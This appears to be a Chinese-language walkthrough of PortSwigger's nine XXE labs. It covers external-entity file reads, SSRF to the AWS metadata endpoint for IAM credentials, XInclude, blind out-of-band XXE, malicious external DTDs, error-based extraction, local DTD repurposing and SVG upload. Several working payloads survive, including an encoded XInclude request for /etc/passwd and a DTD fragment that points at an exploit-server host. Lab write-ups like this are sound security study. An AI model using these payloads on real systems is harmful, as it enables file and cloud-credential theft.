1 Lab: Exploiting XXE using external entities to retrieve files
查库存功能使用 XML 传输数据。 通过 post 方法传递参数 productId
和 storeId
获取库存信息。
修改请求报文消息体,注入 xxe,即 XML 外部实体
1 |
|
响应报文成功读取到 /etc/passwd
文件。
由此可见 XXE 注入需要两步:
- 在 DOCTYPE 中定义一个访问敏感信息或其它 url 的外部实体;
- 在 XML 中调用。
2 Lab: Exploiting XXE to perform SSRF attacks
题干内容:
- “Check stock” 模块使用 XML 格式传输数据。
- 服务端运行着一个 AWS EC2 server,可以使用
http://169.254.169.254/
访问敏感信息。 - 结合 SSRF obtains the server’s IAM secret access key from the EC2 metadata endpoint。SSRF 内容参见 [[SSRF 基础介绍]]
burp 抓包,重放,注入 xxe,直接访问 http://169.254.169.254/
。响应没啥东西,说明访问的 url 不对。
借助之前阅读漏洞报告积累的经验,AWS 的敏感信息有云端元数据信息,enpoint 是 /latest/meta-data/
。响应仍然没啥东西,但是返回内容为 iam,与题干让我们获取 iam key 相关。
查阅资料发现,获取 AWS 实例敏感信息访问的 endpoint 类似:http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
,于是我觉得响应的内容 iam 可能是目录名?
修改 url 一步步获取到对应的敏感信息 key。
http://169.254.169.254/latest/meta-data/iam
http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
3 Lab: Exploiting XInclude to retrieve files
–> 传送门
还是读取库存模块使用了 XML 格式传输数据。根据题干,我们貌似无法定义 DTD,但可以注入 XInclude
表达式发起 XXE 注入攻击,获取敏感信息。
burp 抓包发现传输的数据格式是 application/x-www-form-urlencoded
.
通过分析报文历史,找到了两个与查看库存相关的文件:
- stockCheck.js
- stockCheckPayload.js
stockCheck.js 将 Content-Type 设置成了 window.contentType,(headers: { 'Content-Type': window.contentType }
),而 Content-Type 在 stockCheckPayload.js 中定义,其值为application/x-www-form-urlencoded
。相当于是默认属性。
stockCheck.js
1 | document.getElementById("stockCheckForm").addEventListener("submit", function(e) { |
stockCheckPayload.js
1 | window.contentType = 'application/x-www-form-urlencoded'; |
直接修改 Content-Type 为 xml,发现并未奏效。
根据题意,服务端可能将用户的输入在服务端放入了一个 XML 文档中,这个 XML 会在之后解析并将内容回显给客户端。
payload: productId=%3Cfoo%20xmlns:xi=%22http://www.w3.org/2001/XInclude%22%3E%3Cxi:include%20parse=%22text%22%20href=%22file:///etc/passwd%22/%3E%3C/foo%3E&storeId=1
4 Lab: Blind XXE with out-of-band interaction
burp 抓包,注入 xxe,响应并没有像 lab 1 一样显示出 /etc/passwd
的内容。
根据题干,尝试 Blind XXE 注入。首先在 Collaborator 中创建一个 out-of-band 服务器,将链接加入到 XXE 中。
Collaborator 已经收到了对应的 http 请求,lab 解决。
5 Lab: Blind XXE with out-of-band interaction via XML parameter entities
根据题干,这道题也是 Blind XXE 注入。
构造好 payload 发送后,响应提示 “Entities are not allowed for security reasons”,外部实体没法用。
这种情况下可以使用 XML 参数实体,使用百分号(%) %xxe;
调用参数实体。payload 如下:
1 |
虽然响应报了个 XML 解析错误,但是 Collaborator 仍然获取到了 DNS 解析和 HTTP 请求记录。
收工。
6 Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
在 exploit server 设置创建一个名为 malicious.dtd 的 DTD 文件,写入 payload.
1 |
|
直接注入 xxe 报错,”Entities are not allowed for security reasons”。
尝试注入参数实体。
服务端貌似并没有收到 /etc/passwd
的内容?
我傻逼了,应该请求 /etc/hostname
。再次发送报文,查看日志发现有一条 GET 请求 /exploit/malicioud.dtd
的记录,但是没有进一步发送 /etc/hostname
的内容。
调试了半天终于可以了。
[!question] payload 里面的 % 还必须写成
%
?我直接加 % 没法拿到数据。还有eval
后面不需要加 SYSTEM 嘛?
7 Lab: Exploiting blind XXE to retrieve data via error messages
在 exploit server 中写入上一个 lab 中的 payload,发送报文
1 | <!ENTITY % file SYSTEM "file:///etc/passwd"> |
报了个这个错,没看明白。
原来是 <!DOCTYPE
后面没写名字,emmm,看来得好好研究下 XML 语法了。
再次发包,仍然使用上一个 lab 的 payload。响应报文报错:”XML parser exited with error: java.net.MalformedURLException: Illegal character in URL”。
猜测应该是 URL .../?x=%file;
中的 % 的原因,将其修改成 % 后发送,响应仍然报错:
1 | "XML parser exited with error: org.xml.sax.SAXParseException; systemId: https://exploit-0a5c000204fa1eb8818e51ba0168003f.exploit-server.net/?x=%file;; lineNumber: 1; columnNumber: 3; The markup declarations contained or pointed to by the document type declaration must be well-formed." |
搞不太懂,可能是回显的内容不符合 /?x=%file;
传给 exploit server 的格式。不过我都有回显了为啥还非得传到 exploit server 呢,直接看不香嘛?修改 payload,将要读取的文件变量与一个不存在的文件名拼接。
1 |
|
原理是在后端访问到不存在的文件时会抛出异常,异常中可能会包含不存在文件的文件名,这里我们的文件名是:file:///caishao/%file;
也就是说,文件名中包含了整个 /etc/passwd
文件的内容,从而获取敏感信息。
发送后,读取到 /etc/passwd
的文件内容。
8 (expert) Lab: Exploiting XXE to retrieve data by repurposing a local DTD
本题仍然是一道 blind xxe,不过没有提供 exploit server 无法借助外部服务器 out-of-band 提取数据,所以只能基于报错利用。
Hint 说本地 dtd 里有个 /usr/share/yelp/dtd/docbookx.dtd
,其中有个实体叫做 ISOamso
。
对于内部 DTD(internal DTD),无法在一个参数实体中调用另一个参数实体,也就是说前面使用到的 <!ENTITY % exfiltrate SYSTEM 'file:///caishao/%file;'>
不能奏效。
报错信息 “ cannot occur within markup in the internal subset of the DTD.”
思路:找一个本地 DTD 文件,重写里面的实体,由于 XML 实体的名字唯一,有两个名称相同的实体时,以第一个为准。之后引用该本地 DTD 文件,其中应该有调用这个实体的方式,继而获取敏感信息。本质上是借助本地 DTD 文件绕过 无法在一个参数实体中调用另一个参数实体 的限制。
payload:
1 |
|
9 Lab: Exploiting XXE via image file upload
–> 传送门
题目分析:
- 评论部分允许用户上传头像,且头像由 Apache Batik 库解析。
- 上传图片,获取
/etc/hostname
文件的内容。
再根据 lab 上下文内容,应该是要上传一个 SVG 文件,因为 SVG 是基于 XML 的文件格式,可以在里面写入恶意 XML 实体,即可读取敏感信息。
在此之前先学习下 SVG 格式,可以参考 adobe 的这篇文章 SVG files. SVG,全称是 Scalable Vector Graphics,是一种 web 友好的矢量文件格式。与 JPEG 这样基于像素的光栅文件格式不同,矢量文件通过网格上的点和线的数学关系来存储图像。由于没有使用像素,所以也无法很好的展示高品质数码相片。SVG 文件一般用来制作 LOGO,如下图 portswigger lab 的经典 LOGO 使用的就是 SVG 格式。
对应的报文是这样的(好像跟上面不太对应,将就看吧 emmm
在网上随便找个 SVG 编辑器,注入恶意 xml 实体(后面发现其实直接改包就行)
1 |
|
上传头像后,http 请求报文是这样的。
响应报错,状态码 500,从报错内容看,应该是获取到 /etc/hostname
的信息了,只是传不过来,要是给个 exploit server 就好了。
刚我注入的是 parameter entities 参数实体,后面用普通外部实体注入,提示我评论成功了。
不过怎么把我的头像整成 png 了?
上传个默认头像也被转成 png 了!!!岂可修
修改下 payload,将 /etc/hostname 的内容在转换成 PNG 之前写入 SVG。后端的逻辑应该是先渲染 SVG,然后以 PNG 形式存储和访问。
访问头像文件,结束。
Portswigger XXE 的九个 lab 全部做完啦,完结撒花!!!